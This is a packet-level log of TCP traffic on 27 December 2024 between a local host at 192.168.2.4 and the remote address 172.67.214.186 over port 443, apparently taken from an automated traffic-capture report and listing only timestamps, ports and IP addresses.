Dec 27, 2024 10:21:58.055305004 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.055354118 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.060770035 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.060786009 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.060848951 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.060863972 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.060889006 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.060909986 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.066855907 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.066870928 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.066941023 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.066972971 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.067019939 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.072757006 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.072771072 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.072844028 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.072859049 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.072911024 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.078012943 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.078027010 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.078083038 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.078097105 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.078145027 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.239197969 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.239218950 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.239299059 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.239347935 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.239377022 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.239398003 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.245173931 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.245189905 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.245290041 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.245304108 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.245358944 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.251069069 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.251089096 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.251163960 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.251178026 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.251228094 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.256299973 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.256314993 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.256408930 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.256422997 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.256477118 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.262641907 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.262658119 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.262744904 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.262758970 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.262811899 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.267911911 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.267930984 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.267997980 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.268012047 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.268069029 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.273896933 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.273914099 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.273986101 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.274000883 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.274050951 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.279818058 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.279836893 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.279903889 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.279916048 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.279967070 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.441028118 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.441046000 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.441123962 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.441185951 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.441243887 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.446929932 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.446947098 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.447000980 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.447024107 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.447050095 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.447068930 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.452905893 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.452920914 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.452996969 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.453012943 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.453059912 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.458287001 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.458301067 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.458483934 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.458498955 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.458559036 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.463742018 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.463756084 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.463835001 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.463849068 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.463876009 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.463896990 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.469753027 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.469768047 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.469851971 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.469866991 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.469922066 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.475686073 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.475702047 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.475776911 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.475792885 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.475842953 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.481661081 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.481676102 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.481736898 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.481751919 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.481797934 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.642641068 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.642662048 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.642751932 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.642785072 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.642843008 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.648474932 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.648489952 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.648566961 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.648581028 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.648627996 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.654494047 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.654510021 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.654577017 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.654592037 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.654640913 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.659807920 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.659821987 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.659895897 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.659913063 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.659961939 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.666112900 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.666129112 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.666212082 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.666246891 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.666305065 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.671350002 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.671364069 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.671435118 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.671452045 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.671502113 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.677237034 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.677253008 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.677320957 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.677336931 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.677387953 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.683247089 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.683262110 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.683345079 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.683361053 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.683410883 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.844012976 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.844031096 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.844263077 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.844306946 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.844362020 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.850059986 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.850075960 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.850156069 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.850171089 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.850217104 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.855915070 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.855927944 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.855998039 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.856014013 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.856055021 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.861186981 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.861202002 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.861262083 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.861275911 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.861325026 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.867503881 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.867522001 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.867584944 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.867599964 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.867649078 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.872745991 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.872764111 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.872833014 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.872848034 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.872900009 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.872935057 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.878840923 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.878859997 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.878917933 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.878937006 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.878963947 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.878984928 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.884690046 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.884704113 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.884752989 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.884767056 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.884793997 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.884810925 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.895158052 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.045372963 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.045388937 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.045460939 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.045489073 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.045540094 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.051352978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.051367998 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.051453114 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.051469088 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.051522970 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.057262897 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.057285070 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.057347059 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.057362080 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.057394028 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.057415009 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.062477112 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.062491894 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.062567949 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.062597990 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.062643051 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.068968058 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.068983078 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.069047928 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.069063902 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.069113970 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.074037075 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.074050903 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.074114084 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.074130058 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.074181080 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.080200911 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.080214977 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.080293894 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.080312014 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.080360889 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.085994959 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.086010933 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.086086988 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.086102962 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.086153030 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.246907949 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.246923923 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.247013092 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.247081041 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.247140884 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.253031015 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.253046989 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.253128052 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.253145933 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.253191948 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.258809090 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.258824110 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.258897066 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.258912086 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.258970022 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.264940023 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.264954090 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.265022039 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.265037060 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.265084982 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.270390034 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.270406961 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.270478964 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.270493031 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.270544052 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.275671959 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.275687933 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.275758028 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.275772095 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.275820971 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.281682014 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.281696081 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.281769991 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.281784058 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.281833887 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.287600040 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.287617922 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.287688971 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.287704945 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.287751913 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.449136019 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.449152946 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.449208975 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.449237108 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.449295044 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.449295044 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.454555035 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.454571009 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.454623938 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.454642057 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.454668999 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.454688072 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.460273027 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.460293055 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.460342884 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.460355997 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.460381031 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.460400105 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.466953993 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.466969013 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.467029095 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.467044115 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.467093945 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.472520113 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.472532988 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.472594976 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.472608089 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.472632885 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.472652912 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.477853060 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.477868080 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.477912903 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.477926016 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.477951050 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.477967978 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.483983994 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.484003067 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.484047890 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.484062910 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.484088898 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.484111071 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.489830017 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.489845037 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.489907026 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.489919901 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.489968061 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.650480986 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.650496960 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.650582075 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.650599003 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.650638103 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.655745029 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.655760050 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.655836105 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.655843973 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.655885935 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.661731005 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.661746025 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.661813021 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.661823034 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.661864996 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.667648077 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.667668104 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.667712927 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.667720079 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.667747974 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.667767048 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.673206091 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.673219919 CET	443	49745	172.67.214.186	192.168.2.4
